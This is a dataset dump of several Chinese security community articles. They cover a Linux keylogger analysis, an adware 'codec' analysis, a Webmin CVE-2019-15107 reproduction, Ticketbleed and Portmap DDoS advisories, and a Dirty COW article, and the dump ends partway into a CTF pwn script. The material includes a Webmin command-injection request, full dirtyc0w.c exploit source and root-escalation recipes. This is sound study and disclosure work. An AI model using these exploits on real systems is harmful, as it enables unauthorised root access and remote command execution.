text
stringlengths 100
9.93M
| category
stringclasses 11
values |
|---|---|
# 【技术分享】一款Linux下的键盘记录软件分析
|
##### 译文声明
本文是翻译文章，文章来源：morphick.com
原文地址：<http://www.morphick.com/resources/lab-blog/mikey-linux-keylogger>
译文仅供参考，具体内容表达以及含义原文为准。
****
****
**翻译：**[ **shan66**
****](http://bobao.360.cn/member/contribute?uid=2522399780)
**预估稿费：160RMB（不服你也来投稿啊！）**
******投稿方式：发送邮件至**[ **linwei#360.cn**](mailto:[email protected]) **，或登陆**[
**网页版**](http://bobao.360.cn/contribute/index) **在线投稿******
**前言**
当前，Linux恶意软件正在逐渐流行起来了。近几年，已经有好几起重大安全事件中所涉及的Linux后门都是从Windows系统移植过来的。在研究Odinaff报告中的Windows
KLRD键盘记录软件的过程中，我们发现了几个新的键盘记录软件。在本文中，我们讨论的焦点是MiKey，这是一个鲜为人知的、之前未曾检测到的键盘记录软件。
在撰写本文时，Virustotal上的引擎仍然检测不出该恶意软件。
**软件分析**
这款恶意软件是一个64位的Linux可执行文件：
9c07ed03f5bf56495e1d365552f5c9e74bb586ec45dffced2a8368490da4c829: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=550c58e6a9bc88b8724fd8ab7fd79a6c58c12d28, not stripped
同时，它还依赖于以下程序库：
linux-vdso.so.1 (0x00007ffd25123000)
libX11.so.6 => /usr/lib/x86_64-linux-gnu/libX11.so.6 (0x00007f7f56420000)
libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007f7f5621c000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f7f55e7e000)
libxcb.so.1 => /usr/lib/x86_64-linux-gnu/libxcb.so.1 (0x00007f7f55c56000)
/lib64/ld-linux-x86-64.so.2 (0x00005597839c6000)
libXau.so.6 => /usr/lib/x86_64-linux-gnu/libXau.so.6 (0x00007f7f55a52000)
libXdmcp.so.6 => /usr/lib/x86_64-linux-gnu/libXdmcp.so.6 (0x00007f7f5584a000)
在分析这个二进制代码的符号表之后，我们找到了一些非常让人感兴趣的函数名。（为了方便阅读，这里就不给出完整的输出了）：
63: 00000000004014b2 79 FUNC GLOBAL DEFAULT 14 createProccess
64: 0000000000400ed6 128 FUNC GLOBAL DEFAULT 14 initPlugins
67: 0000000000400f56 105 FUNC GLOBAL DEFAULT 14 moduleFeed
68: 000000000040102d 1157 FUNC GLOBAL DEFAULT 14 keylogger
75: 0000000000400dc6 159 FUNC GLOBAL DEFAULT 14 handleArgs
83: 0000000000400e65 113 FUNC GLOBAL DEFAULT 14 moduleHandleArgs
85: 00000000004015fc 209 FUNC GLOBAL DEFAULT 14 addData
87: 0000000000400cd0 42 FUNC GLOBAL DEFAULT 14 _start
88: 0000000000400fbf 110 FUNC GLOBAL DEFAULT 14 addParentheses
92: 0000000000401501 126 FUNC GLOBAL DEFAULT 14 main
103: 0000000000400b00 0 FUNC GLOBAL DEFAULT 11 _init
编译器留下的注释表明，它是在Ubuntu 16.04.2系统上编译的：
9c07ed03f5bf56495e1d365552f5c9e74bb586ec45dffced2a8368490da4c829: file format elf64-x86-64
下面是.comment节中的内容：
0000 4743433a 20285562 756e7475 20352e34 GCC: (Ubuntu 5.4
0010 2e302d36 7562756e 7475317e 31362e30 .0-6ubuntu1~16.0
0020 342e3229 20352e34 2e302032 30313630 4.2) 5.4.0 20160
0030 36303900 609.
该二进制文件中的构建路径给出了进一步的证据︰
/home/ubuntu/MiKey-64-ubuntu
strace工具可以迅速确定函数的高级工作流程并识别潜在的重点对象。其中，一个失败的文件打开，即“mikey-text.so”引起了我们的注意，所以我们不妨从这里开始下手。
open("./tls/x86_64/mikey-text.so", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
open("./tls/mikey-text.so", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
open("./x86_64/mikey-text.so", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
open("./mikey-text.so", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
该恶意软件没有在这些目录中显式搜索mikey-text.so。这是dlopen的副作用，根据其手册页的介绍：
“在程序启动时，如果环境变量LD_LIBRARY_PATH中包含由冒号分隔的目录列表的话，则搜索这些目录。
在搜索片刻后，我们又找到了一个包含字符串“mikey-text.c”的二进制文件（SHA-256
bc6d25dff00dfb68b19b362c409d2cf497e5dd97d9d6e5ce2bde2ba706f2bdb3）。由此，我们可以判断mickey-text.so是这个二进制文件的编译版本。
根据这个判断，我们将第二个二进制文件重命名为mikey-text.so，并将其放在通过strace找到的加载路径中。这样一来，该恶意软件竟然能够成功执行了。其中，输出文件（out.log）用来保存键击动作及相应的时间戳。
通过静态分析，我们能够知道，当键盘记录软件启动时，它首先会加载插件，然后处理相应的参数，最后生成相应的进程。
当加载插件时，该键盘记录软件会查找一个硬编码的插件（该插件名为“mikey-text.so”），并调用dlopen来获取它的句柄。
一切加载就绪后，就会通过"keylogger"函数来完成该程序的主要功能。
为了更好地理解Linux键盘记录软件和相关的函数调用，掌握基本的X函数的相关知识是至关重要的。下面，我们就对“keylogger”函数用来查询击键信息以及获取原始击键数据的例程进行简要说明。
**XOpenDisplay** 返回用来连接X服务器的display结构。它是通过TCP或IPC进行通信的。
**XQueryKeymap** 该函数用于收集键盘状态方面的信息。此外，也可以使用该函数来收集当前按下了哪些键的信息。
**XkbKeycodeToKeysym** 该函数可以用来显示特定键的keysym。
**XKeysymToString** 将之前捕获到的keysym进行相应的转换。
**XGetInputFocus** 获得当前的输入焦点。
一旦检索到键码，它就会与一个大型转换表进行比较，以将每个键码转换为字符串，这与大多数键盘记录软件没有什么两样。
然后，找出不可打印的击键，并用人类可读的输出来代替它们。
如果返回了不可打印的字符，就会调用一个小的函数来格式化括号中的字符串，以便将其输出到日志中。
一旦完成上述处理，相应的数据就被存储到一个缓冲区中，并传递给一个可加载模块。Linux的dlsym方法提供了与Windows上的“LoadLibrary”类似的功能。来自dlopen的上一个句柄将被传递给dlsym，这样，我们就可以使用它从mikey-text.so调用"getFeed"方法了。
仔细阅读mikey-text.so的“getFeed”函数的代码你会发现它的功能其实非常简单，只是调用_log函数而已。
接下来，_log函数将调用_time和_localtime（获取时间戳），并将它们构建为格式字符串。
此时，该软件会通过"a +"标志打开输出文件，然后使用_fputs方法向文件写入内容。如果没有为mikey-text.so提供–output选项，则会使用默认名称“out.log”。下面的屏幕截图将cs：outputfile_ptr的内容识别为指向输出文件名称的指针。
除了一个解析参数的小函数外，mikey-text.so没有提供太多的功能。对于MiKey键盘记录软件来说，它只是一个简单的记录插件。Morphick认为，可能还存在其他插件（用于C2通信或挂接到其他文件），但目前尚无法确认。
为了运行键盘记录软件并通过一个定制参数将输出文件命名为keylogged.txt，可以使用如下所示的命令。此外，如果提供“-b”选项的话，它将在“后台”运行。
为了检查主机上的进程，可以使用命令'ps aux'。
然后，检查键盘记录文件的输出：
**结束语**
一般来说，为特定目的构建的小型实用程序通常能够轻松绕过杀毒软件。攻击者能够编写一个将内容转储到本地文件的键盘记录软件。通过编写模块化代码，作者可以通过构建插件来完成所需要的任何功能。同时，这个代码的插件性质还能增加逆向工程师的工作难度。由于无法访问每个模块，所以逆向工程师只能给该工具的特定已知功能进行备案。
对于这个键盘记录软件来说，最令人不安的地方在于，它没有提供主动的命令和控制功能，这就意味着攻击者在持续远程访问受害计算机来获取击键记录信息方面信心十足。 | 社区文章 |
# 【技术分享】安装“万能解码器”还原真实“解码”
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
****
****
作者：[吃荤的驴子](http://bobao.360.cn/member/contribute?uid=2840427557)
预估稿费：300RMB（不服你也来投稿啊！）
投稿方式：发送邮件至[linwei#360.cn](mailto:[email protected])，或登陆[网页版](http://bobao.360.cn/contribute/index)在线投稿
**0x01 前言
**
最近新出一部很火的电视剧，每天晚上更新两集，看完之后总觉得不过瘾，就去网上找后面的视频，还真被笔者找到。毫不犹豫点击播放，发现提示需要安装某某解码器。对于这类提示一点都不新鲜，尝试下载并运行解码器后，往往并没有达到预期效果，还会再次提醒下载，并没有网站上描述的那么管用。笔者很好奇既然没用，那运行的软件具体功能是什么。笔者便下载了一个“解码器”，果真不出所料，没有任何解码的功能，但是一个流氓推广软件。表面上看不出问题，只在后台搞鬼，笔者便花了点心思详细看了下该软件的实现，发现该软件作者在免杀和隐藏上下足了功夫。虽然功能老套但是思路不错，下面就请跟随笔者一起来看看这个所谓的“万能解码器”，还原真实“解码”。
**0x02 技术特点**
下载之后，没有图标，运行没有任何界面，并且多次运行效果相同。最后通过详细分析，总结该程序有如下特点：
1\. 程序对重要字符串进行了加密处理，且有多个加密算法。
2\. 释放的功能模块文件在本地经过RC算法加密，非正常的PE文件。
3\. 无主进程运行，核心模块为内核驱动，找不到可疑进程。
4\. 敏感操作放置在shellcode中，并进行加密，防止被第一时间杀掉。
5\. 使用了内核技术，内核HOOK，设备HOOK。
6\. 双驱动相互保护隐藏，并且通用32位和64位系统平台。
从对抗手法来看，该程序开发者无论在静态还是动态对抗上面都花了大量功夫，以达到免杀和隐藏行为的效果。
**0x03程序具体分析**
下图是该程序的签名信息，从表面上看没有任何问题。
**1、加载器功能**
该程序实际上是一个加载器，第一次运行后，后期都不再依靠该加载器运行。加载器通用于32位
和64位多个操作系统平台，根据不同系统平台释放不同文件。数据解密之后释放到系统目录下（PassProtect.sys和2.dat）。
解密shellcode并运行代码。
Shellcode中加载“PassProtect.sys”驱动文件，驱动加载状态为自动启动（开机自动加载）。
**2\. “PassProtect.sys”功能**
首先清理“ntfs”和“fastfat”内核的所有设备，阻止自身被外部访问，执行完操作后会对其还原。
对“2.dat”文件解密，使用RC算法，解密和加密是同一个函数，解密后回写到文件。
通过内核函数ZwSetSystemInfomation加载“2.dat”驱动。
驱动加载之后再次通过RC加密回写数据“2.dat”，并还原“ntfs”和“fastfat”的设备栈，隐藏第二个驱动代码。
**3\. “2.dat”功能**
通过设置线程创建回调，并主动触发回调来找到“ExCallBackBlockRoutineProc”函数地址。
挂钩“ExCallBackBlockRoutineProc”函数，通过过滤系统模块和自身模块，把其余所有模块的回调函数修改入口直接返回，达到反进程创建监视的作用。
设置模块加载回调和进程创建回调。
通过检查加载的模块是否是”kernel32.dll”判断创建进程，并且修改浏览器进程的命令行参数。
检查父进程为“explorer.exe”（用户打开运行），并且添加事件修改命令行参数。
修改进程命令行参数，改变浏览器主页。
创建系统线程，挂钩NTfs的create回调。
在Create回调中，保护第一个驱动文件“PassProtect.sys”不被任何程序访问。
**0x04 总结**
从上面分析看出，程序开发者通过各种技术手段，费劲心思，最终达到锁主页的目的。随着目前各大杀软对流氓推广软件的封杀，常规的推广手法已不在适用，升级后的对抗已经不在简单的修改注册表。更为猥琐和流氓的推广方式纷纷出现，各显神通，一不留神便被乘虚而入。当用户放行这个程序，流氓推广已经势不可挡，直捣黄龙。假如作者狠一点，后果将是不可不堪设想。所以笔者在这里提醒各位读者，对这类所谓解码器最好从正规网站下载。由于程序经过免杀处理，能够查杀的杀毒软件并不多（见下图VT扫描结果）。如果系统中曾经运行过该类解码器或播放器，可以安装下列可查杀的杀毒软件进行查杀。最后祝愿各位免受“流氓”困扰，金龙索玉柱，百毒不沾身。 | 社区文章 |
Webmin远程命令执行漏洞/CVE-2019-15107漏洞分析及poc网上都有很多了，先知论坛也有。可能网上有些文章有些细节没说清楚，给我等复现造成了困惑。本菜也只是结合chybeta、exploit-db等多个渠道整理了一下利用姿势，特点就是过程中的细节都会说清楚，给同样小白的各位同学参考。
本次实验是在kali进行，使用vulhub镜像。
**一、** 启动从vulhub拉取的镜像
docker-compose up -d
docker ps可以看到映射的是10000端口，注意看这里的容器名字
docker ps
如果没有docker环境的话，后面附录一有在kali上安装docker的教程
**二、** 访问本机IP 10000端口
根据网上公开的poc可知，漏洞利用url是修改密码功能password_change.cgi，且需要开启密码修改功能（1.890默认开启此功能），vulhub的镜像已经开启密码修改功能（如何开启密码修改功能请看后面附录二）。
**三、** 不知道默认登录密码，进入容器中修改root密码为root
重新打开一个shell窗口，进入容器后不要着急退出，后面还会用到
docker exec -it cve-2019-15107_web_1 /bin/bash
进入/usr/share/webmin修改密码
./changepass.pl /etc/webmin root root
**四、** 浏览器里打开password_change.cgi，发现提示外部url，并且给出修改提示。
按照提示修改
在docker里按照提示修改docker容器里的/etc/webmin/config文件
很多同学包括我，习惯使用vim进行修改，但docker容器里并没有vim命令，怎么办呢，还是看后面附录三有教程安装
**五、** 使用网上的poc怼，看到成功执行命令
poc如下
POST /password_change.cgi HTTP/1.1
Host: 192.168.1.146:10000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: redirect=1; testing=1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 57
user=123&pam=&expired=2&old=test|id&new1=test2&new2=test2
截图中user处需要注意，需提交一个不存在的用户，否则触发不了后面的id命令；
参考chybeta大佬文章，发现不用old处不用填写旧密码，只写命令也可执行命令
**六、** exploit-db上的模块
链接：<https://www.exploit-db.com/exploits/47230>
exploit-db上有一个新的rce
模块，从作者描述上可以看到，webmin的1.890到1.920有漏洞是因为有人在SourceForge上的webmin插入了perl qx语句。
这里也提到了1.890默认配置是有漏洞的，之后的版本需要开启密码修改功能
下载ruby格式的poc
改名字，放到/usr/share/metasploit-framework/modules/exploits/unix/webapp/目录下
我这里改成webmin_unauthenticated_rce.rb
名字颜色和其他不一样是因为有可执行权限，这里暂时不管它
msf执行reload_all，重新载入模块
上面看到重载模块出错，是因为刚才没改名字，名字改好后就可以重载成功了
search webmin，可以看到多了一个模块，名字就是刚才我们改的名字
使用这个模块，options查看设置选项
use exploit/unix/webapp/webmin_unauthenticated_rce
可以看到exploit默认使用了reverse_python这个payload，从刚才的exploit-db页面上也可以确认这点
接下来设置攻击目标和本地主机，及ssl（注意webmin默认是ssl，最上面的链接也能看出来）
执行攻击
成功返回shell，并且可以执行命令
截图里的192.168.80.2，是webmin docker的地址，那怎么看容器的IP地址及其他详细信息呢
首先使用docker ps查看正在运行的容器，确定要查看容器的名字，上面有提到过一次这条命令
使用docker inspect cve-2019-15107_web_1（就是上面看到的容器名）可以看到容器详细信息
docker inspect cve-2019-15107_web_1
这里我们只关系IP，其他暂时不考虑
**七、** 使用metasploit集成exploit
还是search webmin
search webmin
和上面的一样的设置，rhosts、lhost、ssl，和上面一样的执行效果
* * *
**附录一：**
上面说到需要开启修改密码功能才能利用漏洞，那么如果开启这个功能呢？
使用刚才改的密码（root/root）登录成功后，进入Webmin Configuration
在password expiry policy那里选择Prompt users with expired passwords to enter a new
one，允许用户使用过期密码登录并修改一个新密码
等待webmin重启，配置生效。查看docker容器里的/etc/webmin/miniserv.con，可以发现passwd_mode的值已经从0变为了2
查看/usr/share/webmin/password_change.cgi，可以发现红框部分会对miniserv.conf中的password_mode值判断，为2时才enable
**附录二：**
kali安装docker
apt install docker docker-compose
注意1：有些linux发行版，docker-compose工具是使用pip安装的pip install docker-compose，这里只说明kali下的安装
注意:2：如果安装太慢，则需要更改kali源为国内源，这里就不说了，百度一大把，但要注意的是搜索kali rolling国内源，有些文章还是kali
1.0、kali 2.0的源
**附录三：**
容器里安装vim，很简单
先进入容器查看发行版，确定使用yum还是apt安装工具
cat /etc/os-release
可以看到使用的debian8的操作系统，接下来apt安装
apt install vim
但你会发现网速很慢，只有几十KB每秒，为什么呢，因为默认用的国外源，这下本质上改kali源一样了，改成国内的源。
修改docker容器里的源
vim /etc/apt/sources.list
但我们还没安装vim呀，这不互相矛盾么，变成先有鸡还是先有蛋的问题，别急，使用echo的方式写入sources.list
echo "deb http://mirrors.ustc.edu.cn/debian stable main contrib non-free" > /etc/apt/sources.list
echo "deb-src http://mirrors.ustc.edu.cn/debian stable main contrib non-free" >> /etc/apt/sources.list
第一条命令是把echo的命令写入到sources.list文件，sources.list原先的内容清空；
第二条命令是">>",追加的意思，不删除原有内容，这样两条语句都写入到sources.list了。
然后apt update更新源信息
apt update
这样就快了很多
上面附录2说的修改kali的源就是这样修改的，只不过源不一样
更新完源之后，就可以安装vim了
apt install vim
安装完vim后，可以愉快修改docker容器里的/etc/webmin/config文件了
* * *
**本文是参考多位大佬文章才形成的，有国内的，有国外的。谢谢各位大佬的慷慨分享让我学习到webmin的利用方式和原理**
<https://xz.aliyun.com/t/6040>
<https://vulhub.org/#/environments/webmin/CVE-2019-15107/>
<https://www.exploit-db.com/exploits/47230>
<https://www.pentest.com.tr/exploits/DEFCON-Webmin-1920-Unauthenticated-Remote-Command-Execution.html> | 社区文章 |
# 【漏洞预警】Ticketbleed：F5 BIG-IP设备TLS/SSL堆栈漏洞（CVE-2016-9244）
|
##### 译文声明
本文是翻译文章，文章来源：安全客
原文地址：<https://filippo.io/Ticketbleed/>
译文仅供参考，具体内容表达以及含义原文为准。
Ticketbleed是F5 BIG-IP设备的TLS / SSL堆栈中的软件漏洞，允许远程攻击者一次提取高达31字节的未初始化内存。
这部分内存中可能包含来自其他连接的密钥或敏感数据。
它在情形和影响类似于Heartbleed漏洞。它的不同之处在于，它一次暴露31个字节，而不是64k，需要多次轮询执行攻击，并且它影响专有的F5
TLS堆栈，而不是OpenSSL。
**测试**
你可以在下面的网址中进行测试服务器是否受Ticketbleed影响（eg: example.com:443）
<https://filippo.io/Ticketbleed/>
当然，你也可以自己用脚本测试
<https://gist.github.com/FiloSottile/fc7822b1f5b475a25e58d77d1b394860>
**技术细节**
漏洞的关键点在于执行Session Tickets，Session Tickets是加速重复连接的一项恢复技术。
当客户端提供SessionID和Session Tickets时，服务器应回显SessionID以表示Session Tickets的接受。Session
ID的长度可以在1到31个字节之间。
即使Session ID再短，F5堆栈总是回显32字节的内存。提供1字节Sessio ID的攻击者将接收到31字节的未初始化内存信息。
**修复和缓解**
受影响的版本的完整列表可在[F5网站](https://support.f5.com/csp/article/K05121675)上找到。在本次公开披露时，并非所有版本都可以升级解决。
但是Session Tickets是可以完全缓解，这将仅导致恢复连接的性能降级。
以下方法配置是由F5提供的
1\. 登录到配置实用程序
2\. 在菜单上导航到本地流量>配置文件> SSL>客户端
3\. 将配置的选项从基本切换到高级
4\. 取消选中Session Ticket选项以禁用该功能
5\. 单击更新以保存更改
**互联网扫描结果**
通过修改版的zgrab进行互联网扫描
Vulnerable表示存在漏洞。
Accepted表示主机正常接受Session Tickets。
Rejected表示主机提供一个Session Ticket，但是当客户端尝试去使用它时将会被拒绝。
其他的主机不支持Session Tickets。
**发现和时间表**
这个问题是[Filippo Valsorda ](https://twitter.com/FiloSottile)和其他的
CloudFlare员工在调试客户问题的时候发现的。
10月20日 – 确定问题
10月20日 – 首次尝试联系F5
10月25日 – 与F5安全工程师联系
10月26日 – 提交报告
10月28日 – 报告由F5确认
11月13日 – 由F5确认的问题，安全影响尚未确认
11月14日 – Alexa top 1000扫描揭示两个易受攻击的主机，90天截止日期发布
11月16日 – 提供给F5的版本和配置详细信息
11月16日 – 由F5重现和确认的安全问题
1月17日 – F5分享CVE和K
1月26日 – 由于问题公开推到2月8日
2月7日 – 使用185.47.61.3进行互联网扫描
2月8日 – 披露政策的最后一天
2月8日 – 发布延迟
2月9日01:25 UTC – 协调公开披露 | 社区文章 |
阿里云安全团队于2018年9月14日0:10分监控到一起大规模攻击事件，当天近3000台的Portmap服务器被利用来进行反射DDoS攻击，平均反射放大比均值在7.X。阿里云平台30秒完成从检测识别到自动拦截，并第一时间通知到用户。
事发当日，仅阿里云安全团队拦截的从平台流出的对外Portmap攻击流量最高或可达到57G，预计全网该反射的攻击流量更是一个天文数字，危害极大。同时，被利用来反射的服务器将会出现网络满负载，甚至有CPU满载的情况，进而影响服务器上的正常业务应用的运行，严重情况下甚至会导致业务中断。
阿里云安全团队建议用户关注服务器上是否有开启RPCBind服务，如果业务中并没有使用RPCBind，可直接关闭，避免您的服务器被利用导致的业务受影响。
详细分析如下：
# Portmap反射DDOS的成因
Portmap RPCBind服务在TCP或UDP的111端口上运行，对该服务发起一个普通查询需要68字节，服务器响应包486字节，反射放大比为7.14。
一般反射DDOS攻击原理如下图所示：
反射DDOS实施的2个必备条件：
1. 可以伪造源IP。
2. UDP协议无需连接，服务器响应包的大小远大于请求包大小，攻击以小博大。
针对以上数据流，我们认为限制并阻止违造源IP数据包发送到网络上，可以从根本上杜绝反射DDOS发生。
软件在服务器上的分发使用，我们认为：
a. 对“软件开发者”在设计服务时，需要有安全考虑，UDP协议存在放大时，可以加入鉴权机制。
b.对“镜像提供者”，在打包软件进入镜像时，默认镜像应审计其安全，不安全的打包安全策略。
c. 对“使用者”，在使用优先使用需要建立连接的TCP的服务，禁用UDP，以免在未建连接情况下伪造IP被以小博大。
# 全网情况
在shodan上搜索，整个互联网上潜在被利用的攻击主机数量近两百万，如下图：
（数据引用自shodan）
# Portmap反射DDOS的危害
* 用户云主机的CPU占用率会比日常高出几倍
* 用户云主机带宽全部被占满，下图为一台3M的主机：
# 阿里云平台对反射DDOS自动管控：
处理时间快：9月14日首次Portmap攻击事件在00：10发生，全天共发现Portmap事件4000余起，涉及IP数2700余个，30s内完成检测并自动进行管控。
用户影响小：平台不关停用户云主机，对攻击流量进行管控，基本对用户正常业务无影响。
检测类型广：包含Portmap在内，平台检测并处置9种反射DDOS类型。
UDP各种服务的反射放大比如下图，引用自美国CERT公布的数据
<https://www.us-cert.gov/ncas/alerts/TA14-017A：>
# 用户应急建议：
直接关闭RPCBind服务：如果业务中并没有使用RPCBind，可直接关闭。
## Ubuntu：
(1) 打开终端，运行如下命令，关闭RPCBind服务：
sudo systemctl stop rpcbind.socket
(2) 检查RPCBind服务是否关闭:
netstat -anp | grep rpcbind
## CentOS：
(1) 打开终端，运行如下命令：
systemctl stop rpcbind.socket
(2) 检查RPCBind服务是否关闭：
netstat -anp | grep rpcbind | 社区文章 |
# 【漏洞预警】CVE-2016-5195 脏牛漏洞：Linux内核通杀提权漏洞（10.27 10:30更新）
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**漏洞描述**
漏洞编号：CVE-2016-5195
漏洞名称：脏牛（Dirty COW）
漏洞危害：低权限用户利用该漏洞技术可以在全版本Linux系统上实现本地提权
影响范围：Linux内核>=2.6.22（2007年发行）开始就受影响了，直到2016年10月18日才修复。
360 Vulpecker Team：Android 7.0最新的10月补丁安全级别的系统上测试过漏洞POC，确认Android受影响
**为什么这个漏洞叫脏牛（Dirty COW）漏洞？**
Linux内核的内存子系统在处理写时拷贝（Copy-on-Write)时存在条件竞争漏洞，导致可以破坏私有只读内存映射。一个低权限的本地用户能够利用此漏洞获取其他只读内存映射的写权限，有可能进一步导致提权漏洞。
**漏洞相关细节**
漏洞细节：<https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetails>
根据RedHat公司的报告称：目前已经在野外发现针对这个漏洞的利用技术。但是到目前为止，我们没有更进一步的消息。
<https://access.redhat.com/security/vulnerabilities/2706661>
Commit messages：
commit 4ceb5db9757aaeadcf8fbbf97d76bd42aa4df0d6
Author: Linus Torvalds <[email protected]>
Date: Mon Aug 1 11:14:49 2005 -0700
修复get_user_pages()写访问竞争条件
如果一个更新来自其他线程结束修改页表，handle_mm_fault()将可能结束需要我们重新操作。handle_mm_fault()没有真正的防护一直能够破坏COW。这样看起来是不错的，但是get_user_pages()结束后会重新读，使get_user_pages()一直重写的话，需要dirty
bit 设置，最简单的解决竞争条件的办法是，如果COW的break因为某些原因失败，我们能够继续循环继续尝试。
commit 19be0eaffa3ac7d8eb6784ad9bdbc7d67ed8e619
Author: Linus Torvalds <[email protected]>
Date: Thu Oct 13 20:07:36 2016 GMT
这是一个年代久远的BUG了，我在7年前已经曾经尝试修复过一次了（commit 4ceb5db9757a），但是由于一些问题（commit
f33ea7f404e5）又回滚了。这次，我们对pte_dirty()位做了检测。
**Linux各发行版本对于该漏洞相关信息**
Red Hat：<https://access.redhat.com/security/cve/cve-2016-5195>
Debian ：<https://security-tracker.debian.org/tracker/CVE-2016-5195>
Ubuntu ：<http://people.canonical.com/~ubuntu-security/cve/2016/CVE-2016-5195.html>
**受影响的范围**
这个漏洞自从内核2.6.22（2007年发行）开始就受影响了，直到2016年10月18日才修复。
**如何修复该漏洞？** **
**
Linux团队正在积极的修复此漏洞，可以通过系统更新到最新发行版修复此漏洞。软件开发人员也可以通过
[https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/？id=19be0eaffa3ac7d8eb6784ad9bdbc7d67ed8e619](https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=19be0eaffa3ac7d8eb6784ad9bdbc7d67ed8e619)
重新编译Linux修复此漏洞。
**如何发现有人利用该漏洞攻击我？**
利用这个Bug不会在日志里留下异常信息。但是部分安全社区已经部署蜜罐，如果有攻击者利用此漏洞，将会触发告警。
**谁发现的这个漏洞？**
Phil Oester （<https://access.redhat.com/security/cve/CVE-2016-5195>）
**对于该漏洞作者甚至申请了独立的：** 网站、twitter帐号、github帐号、并找专人设计了Logo
作者对此的解释是：我们对建立有品牌的漏洞充满了乐趣，但是也许在这个时间点，这不是一个好主意。但是为了表明我们的立场，我才创建了网站，在线商店，twiiter帐号，以及请专业设计师为这个漏洞设计了LOGO。
**2016.10.21 13:37更新漏洞影响范围：**
**360 Vulpecker Team：Android 7.0最新的10月补丁安全级别的系统上测试过漏洞POC，确认Android受影响**
****
**
**
**2016.10.21 9:10更新POC：**
POC地址：
<https://github.com/dirtycow/dirtycow.github.io/blob/master/dirtyc0w.c>
/*
####################### dirtyc0w.c #######################
$ sudo -s
# echo this is not a test > foo
# chmod 0404 foo
$ ls -lah foo
-r-----r-- 1 root root 19 Oct 20 15:23 foo
$ cat foo
this is not a test
$ gcc -lpthread dirtyc0w.c -o dirtyc0w
$ ./dirtyc0w foo m00000000000000000
mmap 56123000
madvise 0
procselfmem 1800000000
$ cat foo
m00000000000000000
####################### dirtyc0w.c #######################
*/
#include <stdio.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <string.h>
void *map;
int f;
struct stat st;
char *name;
void *madviseThread(void *arg)
{
char *str;
str=(char*)arg;
int i,c=0;
for(i=0;i<100000000;i++)
{
/*
You have to race madvise(MADV_DONTNEED) :: https://access.redhat.com/security/vulnerabilities/2706661
> This is achieved by racing the madvise(MADV_DONTNEED) system call
> while having the page of the executable mmapped in memory.
*/
c+=madvise(map,100,MADV_DONTNEED);
}
printf("madvise %dnn",c);
}
void *procselfmemThread(void *arg)
{
char *str;
str=(char*)arg;
/*
You have to write to /proc/self/mem :: https://bugzilla.redhat.com/show_bug.cgi?id=1384344#c16
> The in the wild exploit we are aware of doesn't work on Red Hat
> Enterprise Linux 5 and 6 out of the box because on one side of
> the race it writes to /proc/self/mem, but /proc/self/mem is not
> writable on Red Hat Enterprise Linux 5 and 6.
*/
int f=open("/proc/self/mem",O_RDWR);
int i,c=0;
for(i=0;i<100000000;i++) {
/*
You have to reset the file pointer to the memory position.
*/
lseek(f,map,SEEK_SET);
c+=write(f,str,strlen(str));
}
printf("procselfmem %dnn", c);
}
int main(int argc,char *argv[])
{
/*
You have to pass two arguments. File and Contents.
*/
if (argc<3)return 1;
pthread_t pth1,pth2;
/*
You have to open the file in read only mode.
*/
f=open(argv[1],O_RDONLY);
fstat(f,&st);
name=argv[1];
/*
You have to use MAP_PRIVATE for copy-on-write mapping.
> Create a private copy-on-write mapping. Updates to the
> mapping are not visible to other processes mapping the same
> file, and are not carried through to the underlying file. It
> is unspecified whether changes made to the file after the
> mmap() call are visible in the mapped region.
*/
/*
You have to open with PROT_READ.
*/
map=mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);
printf("mmap %xnn",map);
/*
You have to do it on two threads.
*/
pthread_create(&pth1,NULL,madviseThread,argv[1]);
pthread_create(&pth2,NULL,procselfmemThread,argv[2]);
/*
You have to wait for the threads to finish.
*/
pthread_join(pth1,NULL);
pthread_join(pth2,NULL);
return 0;
}
**2016.10.27 10:30 更新多种不同利用方式的POC：**
* * *
POC地址：
[https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs](https://github.com/dirtycow/dirtycow.github.io/blob/master/dirtyc0w.c)
不同利用方式的总结如下：
1)
在/tmp/.pwn写入
#!/bin/bash
echo MOOOOOOOOOOO
/bin/bash
chmod +x /tmp/.pwn
然后修改/etc/passwd中的shell指向
./dirtyc0w /etc/passwd root:x:0:0:root:/root:/tmp/.pwn
2)
添加用户到sudo组
./dirtyc0w /etc/group "$(sed 's/(sudo:x:.*:)/1test1/g' /etc/group)"
下次管理员再登陆的话 sudo su 不需要密码
3)
将/etc/passwd中的uid位改为0
4)
注入shellcode到suid文件，比如最常见的2个文件
/usr/bin/crontab
/usr/bin/passwd
**听说还有周边卖？**
****
一件脏牛的周边T恤卖2000多刀，这真的不是在逗我么？知道真相的我眼泪留下来。 | 社区文章 |
# 湖湘杯2019复赛Writeup
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## pwn
### HackNote
edit那边的strlen存在问题，如果一直输入接到下一个chunk的size地方，那就会出现new_len>old_len情况，可以下一次edit到size段，从而造成堆重叠，最后修改malloc_hook来getshell。但是长度不够，所以自写了个read后ret过去执行。
from pwn import *
#r=process('./HackNote')
r=remote('183.129.189.62',11104)
context(arch = 'amd64', os = 'linux')
def gd():
gdb.attach(r)
pause()
def add(size,content):
